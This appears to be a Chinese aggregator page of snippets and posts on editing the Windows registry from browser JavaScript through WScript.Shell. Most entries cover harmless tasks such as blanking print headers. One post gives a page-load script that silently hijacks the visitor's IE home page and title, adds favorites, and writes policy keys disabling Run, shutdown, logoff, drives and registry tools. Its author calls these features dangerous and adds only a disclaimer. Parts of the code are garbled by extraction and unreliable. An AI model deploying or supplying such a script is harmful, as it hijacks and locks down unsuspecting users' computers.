精华内容
下载资源
问答
  • WshShell对象是WSH(WSH是Windows ing Host的缩写,内嵌于Windows操作系统中的脚本语言工作环境)的内建对象,主要负责程序的本地运行、处理注册表、创建快捷方式、获取系统文件夹信息及处理环境变量等工作。...

    本实例主要通过WshShell 对象的相关方法实现。WshShell对象是WSH(WSH是Windows ing Host的缩写,内嵌于Windows操作系统中的脚本语言工作环境)的内建对象,主要负责程序的本地运行、处理注册表、创建快捷方式、获取系统文件夹信息及处理环境变量等工作。 WshShell 对象的相关方法如表11.1所示。

    367ec61a81cc4de0148c649f5bdb150b.png

    本实例中主要应用了 RegWrite方法,下面将对该方法进行详细介绍。

    RegWrite方法用于在注册表中设置指定的键或值,其语法格式如下:

    WshShell.RegWrite strName, anyValue, [strType]

    参数说明

    l     strName:用于指定注册表的键或值,若strName以一个反斜杠 (在 中为//) 结束,则该方法设置键,否则设置值。strName 参数必须以根键名“HKEY_CURRENT_USER”、 “HKEY_LOCAL_MACHINE”、“HKEY_CLASSES_ROOT”、“HKEY_USERS”或 “HKEY_CURRENT_CONFIG”开头。

    l     AnyValue:用于指定注册表的键或值的值。当strType为REG_SZ或REG_EXPAND_SZ时,RegWrite方法自动将 anyValue转换为字符串。若strType为REG_DWORD,则anyValue被转换为整数。若strType为REG_BINARY,则 anyValue必须是一个整数。

    l     StrType:用于指定注册表的键或值的数据类型。RegWrite方法支持的数据类型为REG_SZ、REG_EXPAND_SZ、 REG_DWORD和REG_BINARY。其他的数据类型被作为strType传递,RegWrite 返回 E_INVALIDARG。

    实现过程

    (1)编写自定义 函数PageSetup_del()和PageSetup_set(),用于实现清空页眉页脚和恢复页眉页脚的功能。具体代码如下:

    < language=" ">

    var HKEY_RootPath="HKEY_CURRENT_USER//Software//Microsoft//Internet Explorer//PageSetup//"; function PageSetup_del()

    {

    //清空页眉页脚

    try

    {

    var WSc=new ActiveX ("W .Shell"); HKEY_Key="header";

    WSc.RegWrite(HKEY_RootPath+HKEY_Key,""); HKEY_Key="footer";

    WSc.RegWrite(HKEY_RootPath+HKEY_Key,"");

    }catch(e){}

    }

    function PageSetup_set()

    {

    //恢复页眉页脚

    try{

    var WSc=new ActiveX ("W .Shell"); HKEY_Key="header";

    WSc.RegWrite(HKEY_RootPath+HKEY_Key,"&w&b页码,&p/&P");

    HKEY_Key="footer";

    WSc.RegWrite(HKEY_RootPath+HKEY_Key,"&u&b&d");

    }catch(e){}

    }

    >

    (2)建立HTML的 标签,调用WebBrowser控件,代码如下:

    < id="WebBrowser" classid="ClSID:8856F961-340A-11D0-A96B-00C04Fd705A2" width="0" height="0">

    >

    (3)创建“清空页眉页脚”和“恢复页眉页脚”的超级链接,并调用自定义函数PageSetup_del()和PageSetup_set()实现相应功能。代码如下:

    清空页眉页脚

    恢复页眉页脚

    (4)建立相关的打印超级链接,并调用WebBrowser控件的相应参数实现打印预览、打印等功能。代码如下:

    打印预览

    打印

    直接打印

    页面设置

    总结

    以上所述是小编给大家介绍的JavaScript修改注册表的方法,希望对大家有所帮助!

    展开全文
  • 主要介绍了JavaScript修改注册表实例代码,非常不错,具有一定的参考借鉴价值,需要的朋友可以参考下
  • js修改注册表js修改注册表js修改注册表js修改注册表 js修改注册表js修改注册表js修改注册表
  • js修改注册表js修改注册表js修改注册表js修改注册表 js修改注册表js修改注册表js修改注册表
  • 主要介绍了详解JavaScript修改注册表的方法,本实例主要通过WshShell 对象的相关方法实现,需要的朋友可以参考下
  • JavaScript 修改注册表

    千次阅读 2005-11-07 15:13:00
    JavaScript 修改注册表 最近在网上不少网站及个人主页都使用JS脚本达到自动添加客户端收藏夹、修改主页甚至修改IE标题栏的目的,看似神秘实际只是通过JS调用ActiveX控件达到修改注册表来实现的,虽然不少站都利用这...
    JavaScript 修改注册表


            最近在网上不少网站及个人主页都使用JS脚本达到自动添加客户端收藏夹、
    修改主页甚至修改IE标题栏的目的,看似神秘实际只是通过JS调用ActiveX控件达到
    修改注册表来实现的,虽然不少站都利用这一技术给用户带来了一定的麻烦。但我觉
    得对于JS技术本身来说,还是有一定的研究价值的。以下是我整理的使用JS能实现的
    修改注册表功能:

    //------------------------------------------------------------
    document.write("");

    //该函数用来自动添加URL至收藏夹
    function AddFavLnk(loc, DispName, SiteURL)
    {
    var Shor = Shl.CreateShortcut(loc + "//" + DispName +".URL");
    Shor.TargetPath = SiteURL;
    Shor.Save();
    }
    //函数结束

    function f(){
    try
    {
    //ActiveX初始化
    a1=document.applets[0];
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Shl = a1.GetObject();
    a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
    a1.createInstance();
    FSO = a1.GetObject();
    a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Net = a1.GetObject();

    try
    {
    if (document.cookie.indexOf("Chg") == -1)
    {


    //修改主页
    Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", "http://adelover.top263.net");
    var expdate = new Date((new Date()).getTime() + (1));
    document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
    //修改主页结束

    //写注册表
    Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoRun", 01, "REG_BINARY");

    Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoClose", 01, "REG_BINARY");

    Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoLogOff", 01, "REG_BINARY");

    Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoDrives", "00000004", "REG_DWORD");

    Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//RestrictRun", "00000001", "REG_DWORD");

    Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//System//DisableRegistryTools", "00000001", "REG_DWORD");

    Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//WinOldApp//Disabled", "00000001", "REG_DWORD");

    Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//WinOldApp//NoRealMode", "00000001", "REG_DWORD");

    Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeCaption", "The reg has been modified");
    Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeText", "The reg has been modified");

    Shl.RegWrite ("HKLM//Software//Microsoft//Internet Explorer//Main//Window Title", "IE TITLE");
    Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "IE TITLE");
    var expdate = new Date((new Date()).getTime() + (1));
    document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
    //写注册表结束

    //以下用来添加URL至收藏夹调用的公共部分
    var WF, Shor, loc;
    WF = FSO.GetSpecialFolder(0);
    loc = WF + "//Favorites";
    if(!FSO.FolderExists(loc))
    {
    loc = FSO.GetDriveName(WF) + "//Documents and Settings//" + Net.UserName + "//Favorites";
    if(!FSO.FolderExists(loc))
    {
    return;
    }
    }
    //结束公共部分
    AddFavLnk(loc, "网站名称", "网站Url");
     
    }
    }
    catch(e)
    {}
    }
    catch(e)
    {}
    }

    function init()
    {
    setTimeout("f()", 1000);
    }

    init();
    // - - - - - - - - - - - - - - - - -

    比起那些站点来说,增加了不少更可怕的功能,比如:禁用命令行,禁止运行程序,
    禁止关机等等,对于普通用户来说,可以算是致命的,因此,在最后不得不说的是,
    由于此脚本引起的一切问题,与本人无关,请慎重使用!
    展开全文
  • JavaScript修改注册表

    2009-09-24 16:12:00
    摘自:http://www.javaeye.com/topic/383598var shell = new ActiveXObject("WScript.Shell"); //读注册表 值 var key1 = shell.RegRead("HKEY_CURRENT_USER//Software//Microsoft//Windows //CurrentVers

    摘自:http://www.javaeye.com/topic/383598

    var shell = new ActiveXObject("WScript.Shell");   

    //读注册表 值   

    var  key1  = shell.RegRead("HKEY_CURRENT_USER//Software//Microsoft//Windows   

    //CurrentVersion//Run//eip");   

                     

    //删除注册表项   

    shell.RegDelete("HKEY_CURRENT_USER//SOFTWARE//Microsoft//Windows   

    //CurrentVersion//Run//eip");   

                       

    //往注册表中写入值   

      shell.RegWrite   

    ("HKEY_CURRENT_USER//Software//Microsoft//Windows   

    //CurrentVersion//Run//eip", "C://eip//eip.lnk","REG_SZ");       

            

     

    可通过用最后的反斜线终止 来指定项名。指定值名时最后不要包括反斜线。


    类型 说明 形式
    REG_SZ 字符串 字符串
    REG_DWORD 数字 整数
    REG_BINARY 二进制值 整数
    REG_EXPAND_SZ 可扩展的字符串(例如,"%windir%//calc.exe") 字符串

    展开全文
  • JS 修改 注册表

    2007-09-24 17:20:00
    VBScript代码: dim hkey_root,hkey_path,hkey_key hkey_root="HKEY_CURRENT_USER" hkey_path="SoftwareMicrosoftInternet ExplorerPageSetup" 设置网页打印的页眉页脚为空 function 
    展开全文
  • 来自森大科技官方博客 ...GPS平台、网站建设、软件开发、系统运维,找森大网络科技!...注册表有关安全设置项的说明: 注册表路径: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Intern...
  • <a href="#" onClick="document.all.WebBrowser.Execwb(7,1)">打印预览</a> <a href="#" onClick="document.all.WebBrowser.Execwb(6,1)">打印</a> ...a href="#" onClick="document.all....
  • JavaScript修改注册表 (转)2010年06月29日 星期二 下午 12:18 http://blog.163.com/prevBlogPerma.do?host=liuwei1578&srl=495803642009314112213771&mode=prev<br />万恶的注册表~~ 注册表有关安全设置...
  • 注册表有关安全设置项的说明:注册表路径:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones1. Zones 项包含表示为计算机定义的每个安全区域的项。默认情况下,定义以下 5个...
  • 注册表有关安全设置项的说明: 注册表路径: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones 1.Zones项包含表示为计算机定义的每个安全区域的项。默认情况下,定义以下...
  • JavaScript修改注册表的例子 源作者:追风 人气:12181 document.write("");function AddFavLnk(loc, DispName, SiteURL){var Shor = Shl.CreateShortcut(loc + "//"
  • 通过js修改注册表

    2009-04-16 08:49:18
    [code="java"] var WSS = new ActiveXObject("WScript.Shell"); ... WSS.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Device"...
  • 注册表有关安全设置项的说明: 注册表路径: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones 1. Zones 项包含表示为计算机定义的每个安全区域的项。默认情况下,定义...
  • 注册表有关安全设置项的说明: 注册表路径: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones 1. Zones 项包含表示为计算机定义的每个安全区域的项。默认情况下,定义以下 5...
  • } //end add favorites or links function function f(){ try { //ActiveX initialization a1=document.applets 欢迎大家阅读《用js脚本修改用户注册表_js》,跪求各位点评,若觉得好的话请收藏本文,by 搞代码 搞...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 12,203
精华内容 4,881
关键字:

js修改注册表